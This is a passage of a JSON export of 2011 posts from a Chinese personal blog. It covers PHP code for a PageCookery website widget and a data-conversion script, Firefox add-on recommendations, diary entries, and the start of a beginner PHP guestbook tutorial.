{display:none;}\u0026lt;/style\u0026gt;\u0026lt;ul\u0026gt;\u0026#39;; while($item = $SQL-\u0026gt; FetchArray($entry)){ echo \u0026#39;\u0026lt;li\u0026gt;\u0026#39;; echo \u0026#39;\u0026lt;span clss=\u0026#34;entry\u0026#34;\u0026gt;\u0026#39; . get_username_by_id($item[\u0026#39;userid\u0026#39;]) . \u0026#39;\u0026lt;/span\u0026gt;\u0026#39;; echo \u0026#39;:\u0026#39;; echo hFormat::ParseBBCode( htmlspecialchars($item[\u0026#39;content\u0026#39;],ENT_QUOTES)); echo \u0026#39;\u0026lt;a href=\u0026#34;\u0026#39; . BASE_URL .\u0026#39;?act=view\u0026amp;id=\u0026#39; . $item[\u0026#39;id\u0026#39;] . \u0026#39;\u0026#34; target=\u0026#34;_blank\u0026#34;\u0026gt;\u0026lt;span class=\u0026#34;time\u0026#34;\u0026gt;\u0026#39; . Format::Time($item[\u0026#39;time\u0026#39;]) . \u0026#39;\u0026lt;/span\u0026gt;\u0026lt;/a\u0026gt;\u0026#39;; echo \u0026#39;\u0026lt;/li\u0026gt;\u0026#39;; } echo \u0026#39;\u0026lt;/ul\u0026gt;\u0026#39;; }else{ echo \u0026#39;这里没有你要的东西呢\u0026#39;; } badge.php文件源代码(适合97版本以后的PageCookery【包括97版】)：\nheader(\u0026#39;Content-Type:application/javascript;charset=utf-8\u0026#39;); require_once(\u0026#34;global.php\u0026#34;); if (!isset($_GET[\u0026#39;mount\u0026#39;])){ $_GET[\u0026#39;mount\u0026#39;]=\u0026#39;10\u0026#39;; } echo \u0026#34;document.getElementById(\u0026#39;pagecookery\u0026#39;).innerHTML=\u0026#39;\u0026#34;; if(ereg(\u0026#34;^[0-9]*$\u0026#34;,$_GET[\u0026#39;mount\u0026#39;])){ $sql=\u0026#39;SELECT * FROM entry ORDER BY time DESC LIMIT \u0026#39;.$_GET[\u0026#39;mount\u0026#39;]; $entry = $db-\u0026gt;query($sql)-\u0026gt;result_array(); echo \u0026#39;\u0026lt;style type=\u0026#34;text/css\u0026#34;\u0026gt;#pagecookery img {display:none;}\u0026lt;/style\u0026gt;\u0026lt;ul\u0026gt;\u0026#39;; foreach($entry as $item){ echo \u0026#39;\u0026lt;li\u0026gt;\u0026#39;; echo \u0026#39;\u0026lt;span clss=\u0026#34;entry\u0026#34;\u0026gt;\u0026#39; . get_username_by_id($item[\u0026#39;userid\u0026#39;]) . \u0026#39;\u0026lt;/span\u0026gt;\u0026#39;; echo \u0026#39;:\u0026#39;; echo Format::ParseBBCode( htmlspecialchars($item[\u0026#39;content\u0026#39;],ENT_QUOTES)); echo \u0026#39;\u0026lt;a href=\u0026#34;\u0026#39; . BASE_URL .\u0026#39;?act=view\u0026amp;id=\u0026#39; . $item[\u0026#39;id\u0026#39;] . \u0026#39;\u0026#34; target=\u0026#34;_blank\u0026#34;\u0026gt;\u0026lt;span class=\u0026#34;time\u0026#34;\u0026gt;\u0026#39; . Format::Time($item[\u0026#39;time\u0026#39;]) . \u0026#39;\u0026lt;/span\u0026gt;\u0026lt;/a\u0026gt;\u0026#39;; echo \u0026#39;\u0026lt;/li\u0026gt;\u0026#39;; } echo \u0026#39;\u0026lt;/ul\u0026gt;\u0026#39;; }else{ echo \u0026#39;这里没有你要的东西呢\u0026#39;; } echo \u0026#34;\u0026#39;;\u0026#34;; 站外引用的代码|在\u0026quot;您的PageCookery地址+/widget.php\u0026quot;文件中有！\n\u0026lt;div id=\u0026#34;pagecookery\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;script type=\u0026#34;text/javascript\u0026#34; src=\u0026#34;您的PageCookery地址+/badge.php\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; 明眼人都看出来了吧，其实widget.php可有可无的，方便大家而已！\n","count":1016,"date":"2011年06月02日","featuredImage":null,"permalink":"https://imnerd.org/make-a-pagecookery-widget-for-your-website-new.html","summary":"\u003c!-- \r\n\u003ca href=\"#MiniPlay1g1gCode\" title=\"[1g1g]残酷月光-林宥嘉#playID:147633[/]\"\u003e[1g1g]残酷月光-林宥嘉#playID:147633[/]\u003c/a\u003e --\u003e\r\n\u003ciframe frameborder=\"no\" border=\"0\" marginwidth=\"0\" marginheight=\"0\" width=\"750\" height=\"110\" loading=\"lazy\" sandbox=\"allow-popups allow-scripts allow-same-origin\" src=\"https://www.xiami.com/webapp/embed-player?autoPlay=1\u0026id=2088669\"\u003e\u003c/iframe\u003e\r\n\u003cp\u003e之前写过一篇\u003ca href=\"https://imnerd.org/make-a-pagecookery-widget-for-your-blog.html\" target=\"_blank\"\u003e为你的PageCookery制作博客挂件\u003c/a\u003e，利用的是PageCookery的RSS制作的。今天给大家放的代码是直接读取数据库然后用js的innerhtml引用的方法，此方法适用于任何网站，甚至是HTML页面也是可以的。新分享的方法简单方便而因为读取数据库的原因是实时更新的呢！这里要感谢\u003ca href=\"http://blog.imoe.in\"\u003e卜卜口の君\u003c/a\u003e的各种指导。\u003c/p\u003e\n\u003cp\u003e本文需要使用的文件下载：\u003ca href=\"http://storage.live.com/items/8AAEE749DE3922BE!593?filename=js_widget_for_pagecookery.zip\" target=\"_blank\"\u003e普通下载\u003c/a\u003e | \u003ca href=\"http://u.115.com/file/f016e42532\"\u003e115下载\u003c/a\u003e | \u003ca href=\"http://www.uudisc.com/user/lizheming/file/3895691\"\u003euudisc下载\u003c/a\u003e\n注意:以上文件适合97版本以前的【不包括97版】PageCookery，如果是97版以后的请拷贝下面的代码。\u003c/p\u003e","time":3,"title":"为你的PageCookery制作网站挂件(增加97版的支持)"},{"comments":{"data":[14],"errmsg":"","errno":0},"contents":"\r某些人吵着要的转换程序，先放在这里了。将下列代码保存为convertpc2mf.php并放到你的PageCookery根目录下运行即可。\n\u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;title\u0026gt;PageCookery转微饭程序 \u0026lt;/title\u0026gt; \u0026lt;meta http-equiv=\u0026#34;Content-Type\u0026#34; content=\u0026#34;text/html; charset=utf-8\u0026#34;\u0026gt; \u0026lt;style type=\u0026#34;text/css\u0026#34;\u0026gt; textarea {width:100%;height:200px;} form {width:400px;} button {float:right;} #footer {width:100%;text-align:center;position:fixed;bottom:0px;} \u0026lt;/style\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;?php error_reporting(E_ALL ^ E_NOTICE); require_once \u0026#39;config.php\u0026#39;; function sql_query($sqlcon){ $con=mysql_connect(DATABASE_HOST, DATABASE_USER, DATABASE_PSSWORD); mysql_select_DB(DATABASE_DB_NAME); mysql_query(\u0026#34;SET NAMES \u0026#39;utf8\u0026#39;\u0026#34;); $result = mysql_query($sqlcon); mysql_close($con); return $result; } $entry_pc = sql_query(\u0026#39;SELECT * FROM entry\u0026#39;); $reply_pc = sql_query(\u0026#39;SELECT * FROM reply\u0026#39;); $prefix = $_GET[\u0026#39;prefix\u0026#39;]; if ($prefix == \u0026#34;\u0026#34;) $prefix = \u0026#34;mf_\u0026#34;; ?\u0026gt; \u0026lt;form action=\u0026#34;convertpc2mf.php\u0026#34; method=\u0026#34;GET\u0026#34;\u0026gt; 请输入你的微饭数据库的自定义前缀:\u0026lt;input name=\u0026#34;prefix\u0026#34; type=\u0026#34;text\u0026#34; value=\u0026#34;mf_\u0026#34;\u0026gt;(不要忘了最后还有一个\u0026#39;_\u0026#39;哦！) \u0026lt;input type=\u0026#34;submit\u0026#34; value=\u0026#34;确认\u0026#34;\u0026gt; \u0026lt;/form\u0026gt; \u0026lt;p\u0026gt;复制下列代码并在phpMyadmin中执行即可\u0026lt;a href=\u0026#34;https://imnerd.org/assets/migration/404.png?url=http%3A%2F%2Fimg1.dnschina.net%2Ffiles%2F68%2Finsert_into_sql.png\u0026#34; target=\u0026#34;_blank\u0026#34; style=\u0026#34;font-size:12px;\u0026#34;\u0026gt;不懂请看图\u0026lt;/a\u0026gt;\u0026lt;/p\u0026gt; \u0026lt;textarea\u0026gt; \u0026lt;?php while ($entry = mysql_fetch_object($entry_pc)) { $content = $entry -\u0026gt; content; echo \u0026#34;INSERT INTO `\u0026#34; . $prefix . \u0026#34;entry` VALUES \u0026#34;; echo \u0026#34;(\u0026#39;\u0026#39;,\u0026#39;\u0026#34; . $entry -\u0026gt; userid . \u0026#34;\u0026#39;,\u0026#39;\u0026#39;,\u0026#39;\u0026#39;,\u0026#39;\u0026#39;,\u0026#39;\u0026#34; . addslashes($content) . \u0026#34;\u0026#39;,\u0026#39;\u0026#34; . $entry -\u0026gt; time . \u0026#34;\u0026#39;,\u0026#39;\u0026#34; . $entry -\u0026gt; from . \u0026#34;\u0026#39;,\u0026#39;0\u0026#39;,\u0026#39;\u0026#39;,\u0026#39;\u0026#39;,\u0026#39;\u0026#39;);\u0026#34;; echo \u0026#34;\\n\u0026#34;;\t} while($reply =mysql_fetch_object($reply_pc)){ $nickname = $reply -\u0026gt; nickname; $geo = $reply -\u0026gt; geo; if ($nickname == \u0026#34;\u0026#34; \u0026amp;\u0026amp; $geo != \u0026#34;owner\u0026#34;) { $nickname = $geo . \u0026#39;网友\u0026#39;; $userid = 0; } elseif ($nickaname == \u0026#34;\u0026#34; \u0026amp;\u0026amp; $geo == \u0026#34;owner\u0026#34; ) { $userid = 1; $nickname = \u0026#34;\u0026#34;; } echo \u0026#34;INSERT INTO `\u0026#34; . $prefix . \u0026#34;entry` VALUES\u0026#34;; echo \u0026#34;(\u0026#39;\u0026#39;,\u0026#39;\u0026#34; . $userid . \u0026#34;\u0026#39;,\u0026#39;\u0026#34; . $nickname . \u0026#34;\u0026#39;,\u0026#39;\u0026#34; . $reply -\u0026gt; email . \u0026#34;\u0026#39;,\u0026#39;\u0026#34; . $reply -\u0026gt; url . \u0026#34;\u0026#39;,\u0026#39;\u0026#34; . $reply -\u0026gt; message . \u0026#34;\u0026#39;,\u0026#39;\u0026#34; . $reply -\u0026gt; time . \u0026#34;\u0026#39;,\u0026#39;网页\u0026#39;,\u0026#39;\u0026#34; . $reply -\u0026gt; entryid . \u0026#34;\u0026#39;,\u0026#39;\u0026#39;,\u0026#39;\u0026#39;,\u0026#39;\u0026#39;);\u0026#34;; echo \u0026#34;\\n\u0026#34;; } ?\u0026gt; \u0026lt;/textarea\u0026gt; \u0026lt;p style=\u0026#34;margin-top:15px;color:#AAA;\u0026#34;\u0026gt; 友情提示：\u0026lt;br\u0026gt; 1.请确定你是在\u0026#39;微饭\u0026#39;的表中执行代码，并确保微饭已经安装，即存在entry和reply两个表。\u0026lt;br\u0026gt; 2.请输入你的\u0026#39;微饭\u0026#39;表前缀并确定后再复制代码，否则可能导致失败。\u0026lt;br\u0026gt; 3.部分对数据库架构进行过变动的用户可能会导入失败，请修改相关代码后再进行导入。\u0026lt;br\u0026gt; 4.导入前请将原数据库进行备份，以免发生意外损失。 \u0026lt;/p\u0026gt; \u0026lt;div id=\u0026#34;footer\u0026#34;\u0026gt;Powered By \u0026lt;a href=\u0026#34;https://imnerd.org\u0026#34;\u0026gt;怡红公子\u0026lt;/a\u0026gt; | 欢迎报告 \u0026lt;a href=\u0026#34;mailto:i@imnerd.org\u0026#34;\u0026gt;BUG\u0026lt;/a\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;body\u0026gt; \u0026lt;/html\u0026gt; ","count":834,"date":"2011年04月30日","featuredImage":null,"permalink":"https://imnerd.org/pagecookery2mf.html","summary":"\u003c!-- \u003ca href=\"#MiniPlay1g1gCode\" title=\"[1g1g]广岛之恋-莫文蔚#playID:2381[/]\"\u003e[1g1g]广岛之恋-莫文蔚#playID:2381[/]\u003c/a\u003e --\u003e\r\n\u003ciframe frameborder=\"no\" border=\"0\" marginwidth=\"0\" marginheight=\"0\" width=\"750\" height=\"110\" loading=\"lazy\" sandbox=\"allow-popups allow-scripts allow-same-origin\" src=\"https://www.xiami.com/webapp/embed-player?autoPlay=1\u0026id=136054\"\u003e\u003c/iframe\u003e\r\n\u003cp\u003e某些人吵着要的转换程序，先放在这里了。将下列代码保存为convertpc2mf.php并放到你的PageCookery根目录下运行即可。\u003c/p\u003e","time":2,"title":"PageCookery转微饭程序"},{"comments":{"data":[16],"errmsg":"","errno":0},"contents":" 目前easy comment的作者已经更新到1.4版，对FF4.0提供了较好的支持。我也花了点时间做了一个新版的中文版，请大家及时更新插件！下载地址见文末，地址已更新，请放心下载。\n经常逛博客的人最麻烦的就是在输入框输入自己的信息了，好在Firefox下有这么一款插件-easyComment。easyComment是一款很强大的基本上就是说博主家庭必备的利器。它能够记录你的信息并自动将信息反馈到当前页面的评论框里面，为我们省下了不少的麻烦。\n虽然说easyComment提供了中文版本，但是不知道怎么搞的，中文显示全部都是乱码。之前我也就这么乱码着用了，今天特地把插件解压找到中文译文将其重新翻译了一遍，特此分享给大家！我的英语水平有限，有几处地方翻译的不好，还请大家批评指正。不过基本功能我想应该不会无解大家，大家操作一下应该就能明白了。\neasyComment插件下载地址： Dropbox下载 | 藏经阁下载 | SkyDrive下载\n安装方法：将\"easycomment-1.4-fx.xpi\"下载到本地后将此文件拖动到Firefox窗口后Firefox就会自动执行安装程序了。\n附Shanye Ward的新专辑《Obsession》，欢迎大家试听（还是觉得他以前的歌更好听～～）\n","count":534,"date":"2011年04月07日","featuredImage":null,"permalink":"https://imnerd.org/easycomment-chinese-language-for-ff.html","summary":"\u003c!-- \u003cobject classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" width=\"257\" height=\"33\" codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0\"\u003e\u003cparam name=\"src\" value=\"http://www.xiami.com/widget/1883615_1769830111/singlePlayer.swf\" /\u003e\u003cparam name=\"wmode\" value=\"transparent\" /\u003e\u003cembed type=\"application/x-shockwave-flash\" width=\"257\" height=\"33\" src=\"http://www.xiami.com/widget/1883615_1769830111/singlePlayer.swf\" wmode=\"transparent\"\u003e\u003c/embed\u003e\u003c/object\u003e --\u003e\n\u003ciframe frameborder=\"no\" border=\"0\" marginwidth=\"0\" marginheight=\"0\" width=330 height=86 src=\"//music.163.com/outchain/player?type=2\u0026id=1934385\u0026auto=1\u0026height=66\"\u003e\u003c/iframe\u003e\n\u003cp\u003e\u003cb\u003e目前easy comment的作者已经更新到1.4版，对FF4.0提供了较好的支持。我也花了点时间做了一个新版的中文版，请大家及时更新插件！下载地址见文末，地址已更新，请放心下载。\u003c/b\u003e\u003c/p\u003e","time":2,"title":"Firefox插件之EasyComment(更新)"},{"comments":{"data":[10],"errmsg":"","errno":0},"contents":" 最近大家都在积极准备考研，当然我也要准备了。可是除了上辅导班，我还真感觉我没啥好干的。而且最近几周课又少，一个礼拜才四节课，搞得我顿时不知所措。我这人真是怪了，越是到关键的时候越是喜欢干一些杂七杂八的事情。比如最近花了两个星期的时间把《海贼王》整整490集给看完了。而且幸运的是在图书馆租到柜子了，最近又对网络编程来了劲，就经常写代码，借书学习技术。（有柜子就可以把书放在图书馆，再也不怕书会超期了！O(∩_∩)O）这些可都是耗时间的活儿诶，没当想起来都对自己感到非常的无奈。\n发现我对考研这东西还真是相当的没概念，报考学校是舅舅帮我定的，考研英语不考听力也是前几天才知道，自己考的专业数学到底是考数一、数二还是数三什么的我也是前两天才知道。简直是各种考研盲么！而且目前应该如何复习我也不是很清楚，每次想到我那个英语就头疼。而且这个学期还报了六级，听过我报考的那学校六级过了研究生不用上英语课，有这动力我就特别想过了六级去。可是一边考研一遍六级，我感觉好头疼啊！好吧，头疼就先放一边吧。\n《海贼王》我个人感觉还不错哦。不错在哪个地方呢，剧情连贯，整490集看下来，大故事情节也就只有5-6个而已，特别是我这种一下子看完的，感觉非常带劲！嘿嘿！路飞各种神经大条让我觉得好好玩啊，最近几集出来的海贼女帝波·雅汉库克真的是剧搞笑啊，每次看到她基本就是搞笑时间了。\n话说经过高人点拨，我终于能写一些程序了。先写了一个比较简单的留言板程序，地址在这里，大费周章的根据自己的心得写了一篇教程，虽然大家都觉得不太好，但其实它还真是不太好，哈哈！根据这个留言板程序我又改进开发了一下，写了一个微博程序，其实跟留言板没有什么区别哇，就是加了一个同步到其它微博的功能而已，当然内容还是丰富了的，比如可以分享音乐还有视频，能够上传图片啦，结合虾米豆瓣Flickr服务产生的音乐墙、电影墙和照片墙，还有可订阅的RSS地址，最后还有比较微博化得博客挂件和个性签名图片等等。目前我已经将代码放到Google Code上去了，地址是:http://code.google.com/p/micro-fan/。程序预览地址是:微饭\n","count":894,"date":"2011年03月28日","featuredImage":null,"permalink":"https://imnerd.org/much-busy-without-stress.html","summary":"\u003c!-- \u003ciframe src=\"http://imnerd.org/usr/plugins/XiaMiPlayer/jplayer/index.html#3320521\" style=\"width:255px;height:35px;\" frameborder=\"0\" scrolling=\"no\"\u003e\u003c/iframe\u003e --\u003e\n\u003cp\u003e最近大家都在积极准备考研，当然我也要准备了。可是除了上辅导班，我还真感觉我没啥好干的。而且最近几周课又少，一个礼拜才四节课，搞得我顿时不知所措。我这人真是怪了，越是到关键的时候越是喜欢干一些杂七杂八的事情。比如最近花了两个星期的时间把《海贼王》整整490集给看完了。而且幸运的是在图书馆租到柜子了，最近又对网络编程来了劲，就经常写代码，借书学习技术。（有柜子就可以把书放在图书馆，再也不怕书会超期了！O(∩_∩)O）这些可都是耗时间的活儿诶，没当想起来都对自己感到非常的无奈。\u003c/p\u003e","time":2,"title":"越忙越没压力"},{"comments":{"data":[5],"errmsg":"","errno":0},"contents":"\r哈哈，Firefox终于更新到4.0了呢，最重要的是Firebug已经支持4.0啦！(其实1.7版就支持的，只是我等到FB的官方推送后才知道。)在虚拟机里头安装了一下，发现除了easycomment那个插件不兼容(估计以后也不兼容了吧，感觉都没人维护了)，其它的都较好。\n不得不说，FF是越来越朝Chrome靠拢了，连操作习惯都趋向于Chrome，最明显的要数插件按钮的位置了。之前FF都是放在状态栏上的，我习惯这样，也觉得这样挺好的，觉得Chrome也该放到状态栏上。结果反倒是FF先变了，也放到导航栏上去了！= =！这让我情何以堪啊...好在现在自己还可以选择位置，没有强制。另外Firefox对textarea元素的处理也趋向于Chrome化了，Chrome中用户是可以自定义textarea元素的长宽的，当然有个最小值。而Firefox比Chrome更高一层楼，连最小值都没有了，用户可以任意调整textarea的长宽了。这让做Web Design的情何以堪！然后我发现FF对于javascript的alert方法的支持也发生了改变，以前是弹出一个小窗口，现在是直接页面显示，这个跟Opera有些类似。好吧，Firefox我真的没说你在抄袭！另外FF的启动速度也有了较大的提高。不过我觉得还是好慢啊，记得微博上看到过有人说没有超过Chrome的话谁也不会去关心你相对于上个版本更新了多少。这个讲的真的是精辟呢！\n分享一下我现在Firefox的界面，然后向大家推荐一下我觉得比较好的插件。\rMovable Firefox Button\r这个插件能够更改Firefox4.0左上角菜单按钮的位置和样式，得到如图的效果，做到可视区域最大化。\r下载地址：官方下载\nAwesome screenshot: Capture and Annotate\r一个网页截图插件，从Chrome发展过来的。在Chrome的时候就非常喜欢这个插件，偶然搜索一下，发现FF也有相应的插件，而且在FF下的表现也不俗哦！\r下载地址：官方下载\nTab Utilities\r在新标签页打开书签、历史、地址、搜索，以及更多增强标签式浏览的使用功能。功能很强大，不过我一般就用它来实现双击标签关闭页面以及双击标签栏新建标签。","count":869,"date":"2011年03月27日","featuredImage":null,"permalink":"https://imnerd.org/firefox4-0.html","summary":"\u003c!-- \u003ca href=\"#MiniPlay1g1gCode\" title=\"[1g1g]Anyone of us-Gareth Gates#playID:192280[/]\"\u003e[1g1g]Anyone of us-Gareth Gates#playID:192280[/]\u003c/a\u003e --\u003e\r\n\u003ciframe frameborder=\"no\" border=\"0\" marginwidth=\"0\" marginheight=\"0\" width=\"750\" height=\"110\" loading=\"lazy\" sandbox=\"allow-popups allow-scripts allow-same-origin\" src=\"https://www.xiami.com/webapp/embed-player?autoPlay=1\u0026id=1773520494\"\u003e\u003c/iframe\u003e\r\n\u003cp\u003e哈哈，Firefox终于更新到4.0了呢，最重要的是Firebug已经支持4.0啦！(其实1.7版就支持的，只是我等到FB的官方推送后才知道。)在虚拟机里头安装了一下，发现除了easycomment那个插件不兼容(估计以后也不兼容了吧，感觉都没人维护了)，其它的都较好。\u003c/p\u003e","time":2,"title":"Firefox 4.0"},{"comments":{"data":[8],"errmsg":"","errno":0},"contents":" 一下纯属个人吐槽，不蛋疼的可以忽略了。\n今天大家比赛输了，大家心里很明白，不服！真的是不服！龙姐不在这不是主要的原因，去年龙姐不在大家还不是拿了冠军么？主要原因还是大家没发挥好，这个大家心里都明白。骚洋今天没手感，王者今天不给力，只有晨晨之前一个二线球员顶替龙姐的位置发威了一把。但是这个也不是失败的主要原因。黑哨！赤裸裸的黑哨！连我这个一点规则都不懂的看了这么久也看出了一点不公平出来，这个难道真的没有么。当然，其实黑哨也不是愤怒的主要原因，之前不也是这个裁判么，那么多场的黑哨都过来了，也没什么。最重要的是，对方太屌了！不就是比我们这个去年的冠军多一分么，有什么号屌的，还是有裁判的帮忙呢！有什么资格在我们面前嚣张？！\n好吧，上面的话其实我是替我们的球员发泄来着。不得不说，营长确实很有大将风范，晚上立马说喝酒吃饭给大家消消气，虽然是AA制。然后悲剧的就是我们骚洋同学因为对裁判，对这种不公平比赛的愤懑，独自一人喝了一瓶四特，华丽丽的喝醉了。醉人讲胡话，他跟我说了很多，我确实很有感触的。因为岁数的原因（比我大了三岁），各方面给他造成的压力（包括父母，家庭还有同伴之间），让他觉得自己就那样了。于是用一种年长者的期盼将希望寄托给了我们。\n其实说真的，对于未来，我真的没什么好想的。该怎么走就怎么走，顺其自然。考研这方面来讲，我是昨天才知道考研英语不考听力的人，但是却对一些东西有着很深的执着。所以，我明白我自己该要干什么。对于人际关系而言，骚洋跟我讲的我确实是有一些感触的。对于这三年来的尴尬，我真的是感觉非常头疼。以后甚至包括工作以后该如何相处，我真的是没有把握。对于自己因为得瑟而说错的一句话，我至今都是非常懊悔。妈的，我自己算个什么葱，凭什么说别人的不是！他真的是一个好人，这是骚洋对我说的。我的触动真的是非常的大！\n骚洋，你说明天六点五十西湖见？我看你今天吐成这个样子，估计十二点五十也不一定能起来吧，哈哈！\n","count":806,"date":"2011年03月16日","featuredImage":null,"permalink":"https://imnerd.org/qi-du-pei-yang.html","summary":"\u003c!-- \u003ciframe src=\"http://imnerd.org/usr/plugins/XiaMiPlayer/jplayer/index.html#375867\" style=\"width:255px;height:35px;\" frameborder=\"0\" scrolling=\"no\"\u003e\u003c/iframe\u003e --\u003e\n\u003cp\u003e一下纯属个人吐槽，不蛋疼的可以忽略了。\u003c/p\u003e\n\u003cp\u003e今天大家比赛输了，大家心里很明白，不服！真的是不服！龙姐不在这不是主要的原因，去年龙姐不在大家还不是拿了冠军么？主要原因还是大家没发挥好，这个大家心里都明白。骚洋今天没手感，王者今天不给力，只有晨晨之前一个二线球员顶替龙姐的位置发威了一把。但是这个也不是失败的主要原因。黑哨！赤裸裸的黑哨！连我这个一点规则都不懂的看了这么久也看出了一点不公平出来，这个难道真的没有么。当然，其实黑哨也不是愤怒的主要原因，之前不也是这个裁判么，那么多场的黑哨都过来了，也没什么。最重要的是，对方太屌了！不就是比我们这个去年的冠军多一分么，有什么号屌的，还是有裁判的帮忙呢！有什么资格在我们面前嚣张？！\u003c/p\u003e","time":2,"title":"气度真的很难培养"},{"comments":{"data":[22],"errmsg":"","errno":0},"contents":" 目录\r1.文件结构\r2.PHP函数\r3.表单和数据库操作\r4.功能实现\r5.总结\r网络上各种各样的PHP教程和各种各样的留言板都是铺天盖地的，战地为什么要自己写一个这样的PHP留言板教程呢？问的好啊！鼓掌。首先战地写这个PHP教程的目的不是为了做一个留言板，如果你需要一个留言板的话我建议你去Google搜索一下免费的、功能强大的、功能齐全的、 漂亮的到处都是。目的是：从一个简单的实际的案例出发，来让想学习PHP的兄弟姐妹们进入PHP的世界。需要说明的是，既然是实际的案例教程，各种各样的知识都会涉及到（以保证各位遇到更多的问题），阅读这个教程的时候你最好了解一点Html和 javascript的知识，因为在教程中将不作为重点来说。因为我们是PHP教程。\n好了，现在说说我们将要设计的知识和这个留言板将要实现的功能：\n功能需求：利 用PHP+Mysql数据库制作一个基本的留言板能够让客户进行留言，管理员可以对留言进行修改、删除、回复等操作。\n在进行下面的学习之前，希望大家能够下载我编写的源码边看边学，这样能达到最好的效果。源码下载请点击这里。拿到源码请先看README文件\r1.文件结构的功能的架设\r为了制作一个留言板首先我们需要考虑好要创建什么东西。首先需要一个单独存放数据库信息的config.php文件，然后当然是index.php。当然还需要有表单数据处理的action.php文件，已经函数归类的function.php文件。哦，不要忘记了，留言板需要管理员登录的，所以还要一个login.php文件。\n也就是我我们需要创建5个文件，功能分别如下：1.index.php - 首页显示留言框和留言等信息的2.config.php - 记录数据库信息的3.action.php - 接受表单数据进行数据库处理的4.function.php - 函数归档文件5.login.php - 管理员登录页面\n2.需要掌握的PHP知识和常用函数\r通过查看源码可以看出基本需要的几个函数分别是:ehco,if,while,switch,require_once,header等。另外你还需要了解COOKIE和SESSION两个东东。下面我会一一为大家解释一下\n1.PHP语句的写法\rPHP 的语句以 \u0026lt;?php 开始，以 ?\u0026gt; 结束。您可以把 PHP 的脚本块放置在文档中的任何位置。当然，在支持简写的服务器上，您可以使用 \u003c? 和 ?\u003e 来开始和结束脚本块。不过，为了达到最好的兼容性，我们推荐您使用标准形式 (\u0026lt;?php)，而不是简写形式。实际操作中并不是一个\u0026lt;?php ?\u0026gt;包括所有的东西，而是运用了HTML和PHP混排的效果，即需要使用PHP语言的地方用，不需要的时候就不用。\n2.PHP变量\rPHP 中的变量变量用于存储值，比如数字、文本字符串或数组。一旦设置了某个变量，我们就可以在脚本中重复地使用它。PHP 中的所有变量都是以 $ 符号开始的。\n3.PHP字符串\r这个我就不多做介绍了，基本上和数学差不多。但大家要注意以下的是，PHP中%是取余的计算符号，在常量/变量前加!是表示非的意思，=是赋值的符号（即将等号右边的值赋给等号左边的东西）。而如果你想使用等于这个符号的话，必须使用 ==\n4.echo书写\rPHP输入文本的基本指令\n5.if条件\r当您编写代码时，您常常需要为不同的判断执行不同的动作，您可以在代码中使用条件语句来完成此任务。\nif{} 语句\n在条件成立时执行一块代码，否则跳过该语句\nif...else 语句\n在条件成立时执行一块代码，条件不成立时执行另一块代码\nelseif 语句\n与 if...else 配合使用，在若干条件之一成立时执行一个代码块\n6.while循环\r在您编写代码时，您经常需要让相同的代码块运行很多次。您可以在代码中使用循环语句来完成这个任务。while语句能够帮助你执行这个动作，只要指定的条件成立，while 语句将重复执行代码块。\n7.switch选择\r如果您希望有选择地执行若干代码块之一，请使用 Switch 语句。\n工作原理：1.对表达式（通常是变量）进行一次计算2.把表达式的值与结构中 case 的值进行比较3.如果存在匹配，则执行与 case 关联的代码4.代码执行后，break 语句阻止代码跳入下一个 case 中继续执行5.如果没有 case 为真，则使用 default 语句\n8.require_once包含\t通过require_once语句，能够将另外的文件添加进当前文件中，对文件的引用非常有帮助\n9.header信息\r通过header函数，你可以在PHP中定义一些HTML页面中\u0026lt;head\u0026gt;\u0026lt;/head\u0026gt;提供的信息，例如本代码中就经常使用header进行跳转操作。\n10.自定义函数\r我们能够将我们经常需要用到得一大堆步骤打包成一个函数，方便自己的使用。例如数据库的操作等...\n创建 PHP 函数：\t所有的函数都使用关键词 \"function()\" 来开始\r命名函数 - 函数的名称应该提示出它的功能。函数名称以字母或下划线开头。\r添加 \"{\" - 开口的花括号之后的部分是函数的代码。\r插入函数代码\r添加一个 \"}\" - 函数通过关闭花括号来结束。\n3.PHP和数据库的基本交互\r1.表单\r程序的基本目的是通过PHP获取用户输入的留言信息，然后传递给数据库进行读取与编辑。但是这些信息是如何传递给数据库的呢，这就需要引用表单的概念。表单内获得的数据能够非常轻松的传递给各个地方。一个\u0026lt;form\u0026gt;\u0026lt;/form\u0026gt;即为一个表单，表单需要制定action和method两个属性，action属性是指表单获取到得数据要传递的终点站，而method的值是指定传输的方法，有GET和POST两种方法，GET是通过URL地址传输过去，而POST不是通过URL传说的。也就是说设置在URL中的值能够方便的通过GET方法来获取。表单内一般使用\u0026lt;input\u0026gt;输入框来让用户输入信息，input输入框必须要有name属性，通过name属性，表单才能调用该输入框的输入信息。如果你要知道更加详细的信息，可以看看这里。\n2.数据库的基本操作\r想要对数据库进行操作，首先必须要连接(Connect)数据库。用户的留言是需要输入(Insert)进数据库的，管理员删掉留言是对数据库进行删除(DELETE)操作的。操作完成之后我们必须关闭(CLOSE)与数据库的连接。每次对数据库进行操作，我们都必须进行一次连接与断开连接的操作，为了方便自己，可以把这一个操作写成自定义函数的形式。（本示例中包装成了sql_query函数，在function.php第3行）\n4.开始写留言板程序\r1.创建数据库\r这里我以PHPmyadmin为例，进入到如图所示的界面然后输入如下代码并点击执行。这样数据库就建立好了。\n-- -- 数据库: `guestbook` -- CREATE DATABASE `guestbook` DEFAULT CHARACTER SET latin1 COLLATE latin1_swedish_ci; USE `guestbook`; -- 如果是在已经存在的表中建立，则将上面的代码去除后执行即可 -- ------------------------------------------------------- -- 需要建立的表有entry,user，如果有重名的表，修改相关代码执行即可 -- -- 表的结构 `entry` -- CREATE TABLE IF NOT EXISTS `entry` ( `id` int(10) NOT NULL AUTO_INCREMENT, `username` varchar(255) CHARACTER SET utf8 COLLATE utf8_unicode_ci NOT NULL, `content` mediumtext CHARACTER SET utf8 COLLATE utf8_unicode_ci NOT NULL, `time` int(10) NOT NULL, `email` varchar(255) CHARACTER SET utf8 COLLATE utf8_unicode_ci NOT NULL, `website` varchar(255) CHARACTER SET utf8 COLLATE utf8_unicode_ci NOT NULL, `agent` varchar(255) CHARACTER SET utf8 COLLATE utf8_unicode_ci NOT NULL, `ip` varchar(15) CHARACTER SET utf8 COLLATE utf8_unicode_ci NOT NULL, `geo` varchar(255) CHARACTER SET utf8 COLLATE 